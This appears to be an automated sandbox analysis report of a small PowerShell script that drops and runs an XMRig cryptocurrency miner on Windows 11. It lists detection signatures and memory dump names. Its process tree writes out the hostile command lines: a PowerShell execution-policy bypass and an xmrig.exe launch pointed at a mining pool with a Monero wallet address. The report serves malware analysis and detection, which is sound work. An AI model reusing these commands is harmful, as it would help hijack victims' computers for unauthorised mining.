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27/05/2024, 18:28
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240527-w4cs6aed481027/05/2024, 18:28
240527-w4cs6aed4710Analysis
- max time kernel
1799s - max time network
1763s - platform
windows11-21h2_x64 - resource
win11-20240508-en - resource tags
- submitted
27/05/2024, 18:28
General
- Target file01 - copia (5).ps1
- Size 510B
- Sample240527-w4cs6aed49
- SHA256 d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
Malware Config
Signatures
- XMRig Miner payload 29 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (5).ps1"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_2fkhsnzm.a1z.ps1
xmrig.exe
memory/2904-77-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-83-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-48-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-116-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-115-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-114-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-79-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-49-0x000001D9F01E0000-0x000001D9F0200000-memory.dmp
memory/2904-113-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-112-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-111-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-110-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-109-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-108-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-46-0x000001D9EE8C0000-0x000001D9EE8E0000-memory.dmp
memory/2904-54-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-57-0x000001D9F0200000-0x000001D9F0220000-memory.dmp
memory/2904-56-0x000001D9F01E0000-0x000001D9F0200000-memory.dmp
memory/2904-55-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-58-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-59-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-60-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-61-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-62-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-63-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-64-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-65-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-66-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-67-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-68-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-69-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-70-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-71-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-72-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-73-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-74-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-75-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-76-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-53-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-47-0x000001D9EE910000-0x000001D9EE930000-memory.dmp
memory/2904-50-0x000001D9F0200000-0x000001D9F0220000-memory.dmp
memory/2904-80-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-81-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-82-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-78-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-84-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-85-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-86-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-87-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-88-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-89-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-90-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-91-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-92-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-93-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-94-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-95-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-96-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-97-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-98-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-99-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-100-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-101-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-102-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-103-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-104-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-105-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-106-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/2904-107-0x00007FF61C030000-0x00007FF61CC63000-memory.dmp
memory/4076-52-0x00007FFC1B910000-0x00007FFC1C3D2000-memory.dmp
memory/4076-51-0x00007FFC1B913000-0x00007FFC1B915000-memory.dmp
memory/4076-15-0x0000013B354B0000-0x0000013B354BA000-memory.dmp
memory/4076-14-0x0000013B354D0000-0x0000013B354E2000-memory.dmp
memory/4076-12-0x00007FFC1B910000-0x00007FFC1C3D2000-memory.dmp
memory/4076-11-0x00007FFC1B910000-0x00007FFC1C3D2000-memory.dmp
memory/4076-10-0x00007FFC1B910000-0x00007FFC1C3D2000-memory.dmp
memory/4076-6-0x0000013B35230000-0x0000013B35252000-memory.dmp
memory/4076-0-0x00007FFC1B913000-0x00007FFC1B915000-memory.dmp